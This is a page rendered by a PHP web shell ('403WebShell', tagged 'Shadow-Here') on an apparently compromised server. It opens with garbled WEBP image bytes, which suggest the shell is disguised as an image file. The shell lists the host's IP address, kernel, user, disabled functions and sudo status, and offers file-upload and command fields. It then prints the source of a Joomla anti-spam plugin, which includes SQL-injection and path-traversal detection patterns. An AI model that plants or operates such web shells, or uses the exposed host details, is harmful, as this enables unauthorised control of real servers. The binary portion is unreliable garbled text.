....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 195.3.193.33  /  Your IP : 216.73.216.125
Web Server : Apache
System : Linux server3 5.10.0-35-amd64 #1 SMP Debian 5.10.237-1 (2025-05-19) x86_64
User : web032 ( 1035)
PHP Version : 7.3.33
Disable Function : show_source, highlight_file, apache_child_terminate, apache_get_modules, apache_note, apache_setenv, virtual, dl, disk_total_space, posix_getpwnam, posix_getpwuid, posix_mkfifo, posix_mknod, posix_setpgid, posix_setsid, posix_setuid, posix_uname, proc_nice, openlog, syslog, pfsockopen
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/web032/htdocs/cms/plugins/system/easycalccheckplus/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/web032/htdocs/cms/plugins/system/easycalccheckplus/easycalccheckplus.php
<?php
/**
 *  @Copyright
 *  @package        EasyCalcCheck Plus
 *  @author         Viktor Vogel {@link http://www.kubik-rubik.de}
 *  @version        2.5-7
 *  @date           Created on 20-Nov-2012
 *  @link           Project Site {@link http://joomla-extensions.kubik-rubik.de/ecc-easycalccheck-plus}
 *
 *  @license GNU/GPL
 *  This program is free software: you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation, either version 3 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */
defined('_JEXEC') or die('Restricted access');

class plgSystemEasyCalcCheckPlus extends JPlugin
{
    protected $_load_ecc;
    protected $_load_ecc_check;
    protected $_session;
    protected $_extension_info;
    protected $_redirect_url;

    function __construct(&$subject, $config)
    {
        $this->loadLanguage('plg_system_easycalccheckplus', JPATH_ADMINISTRATOR);

        // Check Joomla version
        $version = new JVersion();

        if($version->PRODUCT == 'Joomla!' AND $version->RELEASE != '2.5')
        {
            JError::raiseWarning(100, JText::_('PLG_ECC_WRONGJOOMLAVERSION'));
            return;
        }

        parent::__construct($subject, $config);

        $this->_load_ecc = false;
        $this->_load_ecc_check = false;
        $this->_session = JFactory::getSession();
        $this->_extension_info = array();

        $this->_redirect_url = $this->_session->get('redirect_url', null, 'easycalccheck');
        $this->_session->clear('redirect_url', 'easycalccheck');

        if(empty($this->_redirect_url))
        {
            $this->_redirect_url = JFactory::getURI()->toString();
        }
    }

    // Purge Cache, Bot-Trap, SQL Injection Protection & Backend Token
    function onAfterInitialise()
    {
        // Clean page cache if System Cache plugin is enabled
        if(JPluginHelper::isEnabled('system', 'cache'))
        {
            $cache = JFactory::getCache();
            $cache->remove($cache->makeId(), 'page');
        }

        // Bot-Trap
        // Further informations: http://www.bot-trap.de
        // File has to be named page.restrictor.php and should be saved in plugins/system/bottrap
        if($this->params->get('bottrap'))
        {
            $app = JFactory::getApplication();

            if($app->isAdmin())
            {
                $path = '../plugins/system/easycalccheckplus/bottrap/';
            }
            else
            {
                $path = 'plugins/system/easycalccheckplus/bottrap/';
            }

            if(file_exists($path.'page.restrictor.php'))
            {
                if($this->params->get('btWhitelistIP'))
                {
                    $btWhitelistIP = str_replace(',', '|', $this->params->get('btWhitelistIP'));
                    define('PRES_WHITELIST_IP', $btWhitelistIP);
                }

                if($this->params->get('btWhitelistIPRange'))
                {
                    $btWhitelistIPRange = str_replace(',', '|', $this->params->get('btWhitelistIPRange'));
                    define('PRES_WHITELIST_IPR', $btWhitelistIPRange);
                }

                if($this->params->get('btWhitelistUA'))
                {
                    $btWhitelistUA = str_replace(',', '|', $this->params->get('btWhitelistUA'));
                    define('PRES_WHITELIST_UA', $btWhitelistUA);
                }

                if($this->params->get('btBlacklistIP'))
                {
                    $btBlacklistIP = str_replace(',', '|', $this->params->get('btBlacklistIP'));
                    define('PRES_BLACKLIST_IP', $btBlacklistIP);
                }

                if($this->params->get('btBlacklistIPRange'))
                {
                    $btBlacklistIPRange = str_replace(',', '|', $this->params->get('btBlacklistIPRange'));
                    define('PRES_BLACKLIST_IPR', $btBlacklistIPRange);
                }

                if($this->params->get('btBlacklistUA'))
                {
                    $btBlacklistUA = str_replace(',', '|', $this->params->get('btBlacklistUA'));
                    define('PRES_BLACKLIST_UA', $btBlacklistUA);
                }

                include_once($path.'page.restrictor.php');
            }
            else
            {
                JError::raiseWarning(100, JText::_('PLG_ECC_ERRORBOTTRAP'));
            }
        }

        // Credit: Marco's SQL Injection Plugin
        // Further informations: http://www.mmleoni.net/sql-iniection-lfi-protection-plugin-for-joomla
        if($this->params->get('sqlinjection-lfi'))
        {
            $mainframe = JFactory::getApplication();
            $p_dbprefix = $mainframe->getCfg('dbprefix');
            $p_errorCode = 500;
            $p_errorMsg = 'Internal Server Error - SQL Injection detected!';
            $p_nameSpaces = 'GET,POST,REQUEST';

            foreach(explode(',', $p_nameSpaces) as $nsp)
            {
                switch($nsp)
                {
                    case 'GET':
                        $nameSpace = $_GET;
                        break;

                    case 'POST':
                        $nameSpace = $_POST;
                        break;

                    case 'REQUEST':
                        $nameSpace = $_REQUEST;
                        break;
                }

                foreach($nameSpace as $k => $v)
                {
                    if(is_numeric($v))
                    {
                        continue;
                    }

                    if(is_array($v))
                    {
                        continue;
                    }

                    $a = preg_replace('@/\*.*?\*/@s', ' ', $v);

                    if(preg_match('@UNION(?:\s+ALL)?\s+SELECT@i', $a))
                    {
                        JError::raiseError($p_errorCode, $p_errorMsg);
                        return;
                    }

                    $ta = array('/(\s+|\.|,)`?(#__)/', '/(\s+|\.|,)`?(jos_)/i', "/(\s+|\.|,)`?({$p_dbprefix}_)/i");

                    foreach($ta as $t)
                    {
                        if(preg_match($t, $v))
                        {
                            JError::raiseError($p_errorCode, $p_errorMsg);
                            return;
                        }
                    }

                    if(in_array($k, array('controller', 'view', 'model', 'template')))
                    {
                        $recurse = str_repeat('\.\.\/', 2);

                        while(preg_match("@$recurse@", $v))
                        {
                            JError::raiseError($p_errorCode, $p_errorMsg);
                            return;
                        }
                    }

                    unset($v);
                }
            }
        }

        // Backend protection
        if($this->params->get('backendprotection'))
        {
            $app = JFactory::getApplication();

            if($app->isAdmin())
            {
                $user = JFactory::getUser();

                if($user->guest)
                {
                    $token = $this->params->get('token');
                    $request = JRequest::get();
                    $tokensession = $this->_session->get('token', null, 'easycalccheck');

                    if(!isset($request['token']))
                    {
                        $request['token'] = 0;
                    }

                    if(!isset($tokensession))
                    {
                        $tokensession = $this->_session->set('token', 0, 'easycalccheck');
                    }

                    if(utf8_encode($request['token']) == $token) // Conversion to UTF8 (german umlaute)
                    {
                        $tokensession = $this->_session->set('token', 1, 'easycalccheck');
                    }
                    elseif(utf8_encode($request['token']) != $token)
                    {
                        $url = $this->params->get('urlfalsetoken');

                        if(empty($url))
                        {
                            $url = JURI::root();
                        }

                        if($tokensession != 1)
                        {
                            $tokensession = $this->_session->clear('token', 'easycalccheck');
                            $this->redirect($url);
                        }
                    }
                }
            }
        }
    }

    // Detect whether the plugin routine has to be loaded and call the checks
    function onAfterRoute()
    {
        // Check if ECC has to be loaded
        $option = JRequest::getWord('option');
        $view = JRequest::getWord('view');
        $task = JRequest::getCmd('task');
        $func = JRequest::getWord('func');
        $layout = JRequest::getWord('layout');

        $this->loadEcc($option, $task, $view, $func, $layout);

        // Clean cache of component if ECC+ has to be loaded
        if($this->_load_ecc_check == true OR $this->_load_ecc == true)
        {
            $config = JFactory::getConfig();

            if($config->getValue('caching') != 0)
            {
                $cache = JFactory::getCache($option);
                $cache->clean();
            }
        }

        if($this->_load_ecc_check == true)
        {
            // Decode all input fields
            if($this->params->get('encode'))
            {
                $this->decodeFields($option, $task);
            }

            // Save entered values in session for autofill
            if($this->params->get('autofill_values'))
            {
                $this->saveData();
            }

            // Call checks for forms
            $this->callChecks($option, $task);
        }

        if($this->_load_ecc == true)
        {
            // Load error notice if needed
            $error_output = JRequest::getCmd('eccp_err', '', 'get');

            if(!empty($error_output))
            {
                if($error_output == 'check_failed')
                {
                    if(($option == 'com_phocaguestbook' AND $this->_session->get('phocaguestbook', null, 'easycalccheck') == 0) OR ($option == 'com_easybookreloaded' AND $this->_session->get('easybookreloaded', null, 'easycalccheck') == 0))
                    {
                        // No message - message is raised by components
                    }
                    else
                    {
                        JError::raiseWarning(100, JText::_('PLG_ECC_YOUHAVENOTRESOLVEDOURSPAMCHECK'));
                    }
                }
                elseif($error_output == 'login_attempts')
                {
                    JError::raiseWarning(100, JText::_('PLG_ECC_TOOMANYFAILEDLOGINATTEMPTS'));
                }
            }

            // Write head data
            $head = array();
            $head[] = '<style type="text/css">#easycalccheckplus {margin: 8px 0 !important; padding: 2px !important;}</style>';

            if($this->params->get('flexicontactplus') AND $option == "com_flexicontactplus")
            {
                $head[] = '<style type="text/css">#easycalccheckplus label {width: auto;}</style>';
            }

            if($this->params->get('poweredby'))
            {
                $head[] = '<style type="text/css">.protectedby {font-size: x-small !important; text-align: right !important;}</style>';
            }

            if($this->params->get('type_hidden'))
            {
                $this->_session->set('hidden_class', $this->random(), 'easycalccheck');
                $head[] = '<style type="text/css">.'.$this->_session->get('hidden_class', null, 'easycalccheck').' {display: none !important;}</style>';

                if($this->params->get('foxcontact') AND $option == "com_foxcontact")
                {
                    $head[] = '<style type="text/css">label.'.$this->_session->get('hidden_class', null, 'easycalccheck').' {margin: 0 !important; padding: 0 !important;}</style>';
                }
            }

            if($this->params->get('kunena') AND $this->params->get('recaptcha') AND $option == "com_kunena")
            {
                $head[] = '<style type="text/css">div#recaptcha_area{margin: auto !important;}</style>';
            }

            if($this->params->get('recaptcha_theme'))
            {
                if($this->params->get('recaptcha_theme') == 1)
                {
                    $theme = 'white';
                }
                elseif($this->params->get('recaptcha_theme') == 2)
                {
                    $theme = 'blackglass';
                }
                elseif($this->params->get('recaptcha_theme') == 3)
                {
                    $theme = 'clean';
                }

                $head[] = '<script type="text/javascript">var RecaptchaOptions = { theme : "'.$theme.'" };</script>';
            }

            $head = "\n".implode("\n", $head)."\n";
            $document = JFactory::getDocument();

            if($document->getType() == 'html')
            {
                $document->addCustomTag($head);
            }
        }
    }

    // Manipulate the output in the function onAfterRender, Set all form checks
    public function onAfterRender()
    {
        if($this->_load_ecc == true)
        {
            $option = JRequest::getWord('option');
            $view = JRequest::getWord('view');

            // Google Translator Fix
            $this->loadLanguage('', JPATH_ADMINISTRATOR);

            // Read in content of the output
            $body = JResponse::getBody();

            // Fill in form input values if the check failed
            if($this->params->get('autofill_values') AND JRequest::getCmd('eccp_err', '', 'get') == 'check_failed')
            {
                $this->fillForm($body);
            }

            // Get form of extension
            $pattern_form = '@'.$this->_extension_info[1].'@isU';
            preg_match($pattern_form, $body, $match_extension);

            // Form was not found, the template probably uses overrides, try it with the detection of the task or set error message for debug mode
            if(empty($match_extension))
            {
                // Try to find the form by the task if provided
                if(!empty($this->_extension_info[4]))
                {
                    // Get all forms on the loaded page and find the correct form by the task value
                    $pattern_form = '@<form[^>]*>.*</form>@isU';
                    preg_match_all($pattern_form, $body, $match_extension_forms);

                    if(!empty($match_extension_forms))
                    {
                        $pattern_extension_form = '@<form[^>]*>.*value=["|\']'.$this->_extension_info[4].'["|\'].*</form>@isU';

                        foreach($match_extension_forms[0] as $match_extension_form)
                        {
                            if(preg_match($pattern_extension_form, $match_extension_form, $match_extension))
                            {
                                break;
                            }
                        }
                    }
                }

                if(empty($match_extension))
                {
                    JError::raiseWarning(100, JText::_('PLG_ECC_WARNING_FORMNOTFOUND'));
                }
            }

            // Hidden field
            if($this->params->get('type_hidden') AND !empty($match_extension))
            {
                $pattern_search_string = '@'.$this->_extension_info[2].'@isU';
                preg_match_all($pattern_search_string, $match_extension[0], $matches);

                if(empty($matches[0]))
                {
                    JError::raiseWarning(100, JText::_('PLG_ECC_WARNING_NOHIDDENFIELD'));
                }
                else
                {
                    $count = mt_rand(0, count($matches[0]) - 1);
                    $search_string_hidden = $matches[0][$count];

                    // Generate random variable
                    $this->_session->set('hidden_field', $this->random(), 'easycalccheck');
                    $this->_session->set('hidden_field_label', $this->random(), 'easycalccheck');

                    // Line width for obfuscation
                    $input_size = 30;

                    $add_string = '<label class="'.$this->_session->get('hidden_class', null, 'easycalccheck').'" for="'.$this->_session->get('hidden_field_label', null, 'easycalccheck').'"></label><input type="text" id="'.$this->_session->get('hidden_field_label', null, 'easycalccheck').'" name="'.$this->_session->get('hidden_field', null, 'easycalccheck').'" size="'.$input_size.'" class="inputbox '.$this->_session->get('hidden_class', null, 'easycalccheck').'" />';

                    // Yootheme Fix - Put the hidden field in an own div container to avoid displacement of other fields
                    if(preg_match('@<div[^>]*>\s*'.$search_string_hidden.'@isU', $match_extension[0], $matches_div))
                    {
                        $search_string_hidden = $matches_div[0];
                    }

                    if(isset($search_string_hidden))
                    {
                        $body = str_replace($search_string_hidden, $add_string.$search_string_hidden, $body);
                    }
                }
            }

            // Encode fields - only in core components
            if($this->params->get('encode'))
            {
                if($option == 'com_contact' OR $option == 'com_users')
                {
                    // Set random variable
                    $random = $this->random();
                    $random2 = $this->random();
                    $random3 = $this->random();
                    $random4 = $this->random();
                    $random5 = $this->random();
                    $random6 = $this->random();

                    if($option == 'com_contact')
                    {
                        $this->_session->set('jform[contact_name]', $random, 'easycalccheck');
                        $this->_session->set('jform[contact_email]', $random2, 'easycalccheck');
                        $this->_session->set('jform[contact_subject]', $random3, 'easycalccheck');
                        $this->_session->set('jform[contact_message]', $random4, 'easycalccheck');

                        $name_old = array('name="jform[contact_name]"', 'name="jform[contact_email]"', 'name="jform[contact_subject]"', 'name="jform[contact_message]"');
                        $name_new = array('name="'.$random.'"', 'name="'.$random2.'"', 'name="'.$random3.'"', 'name="'.$random4.'"');

                        $id_old = array('jform_contact_email_copy', 'jform_contact_name', 'jform_contact_email', 'jform_contact_emailmsg', 'jform_contact_message');
                        $id_new = array($this->random(), $this->random(), $this->random(), $this->random(), $this->random());

                        $body = str_replace($name_old, $name_new, $body);
                        $body = str_replace($id_old, $id_new, $body);
                    }
                    elseif($option == 'com_users' AND $view == 'registration')
                    {
                        $this->_session->set('jform[name]', $random, 'easycalccheck');
                        $this->_session->set('jform[username]', $random2, 'easycalccheck');
                        $this->_session->set('jform[email1]', $random3, 'easycalccheck');
                        $this->_session->set('jform[email2]', $random4, 'easycalccheck');
                        $this->_session->set('jform[password1]', $random5, 'easycalccheck');
                        $this->_session->set('jform[password2]', $random6, 'easycalccheck');

                        $name_old = array('name="jform[name]"', 'name="jform[username]"', 'name="jform[email1]"', 'name="jform[email2]"', 'name="jform[password1]"', 'name="jform[password2]"');
                        $name_new = array('name="'.$random.'"', 'name="'.$random2.'"', 'name="'.$random3.'"', 'name="'.$random4.'"', 'name="'.$random5.'"', 'name="'.$random6.'"');

                        $id_old = array('jform_name', 'jform_username', 'jform_password1', 'jform_password2', 'jform_email1', 'jform_email2');
                        $id_new = array($this->random(), $this->random(), $this->random(), $this->random(), $this->random(), $this->random());

                        $body = str_replace($name_old, $name_new, $body);
                        $body = str_replace($id_old, $id_new, $body);
                    }
                }
            }

            // Calc check
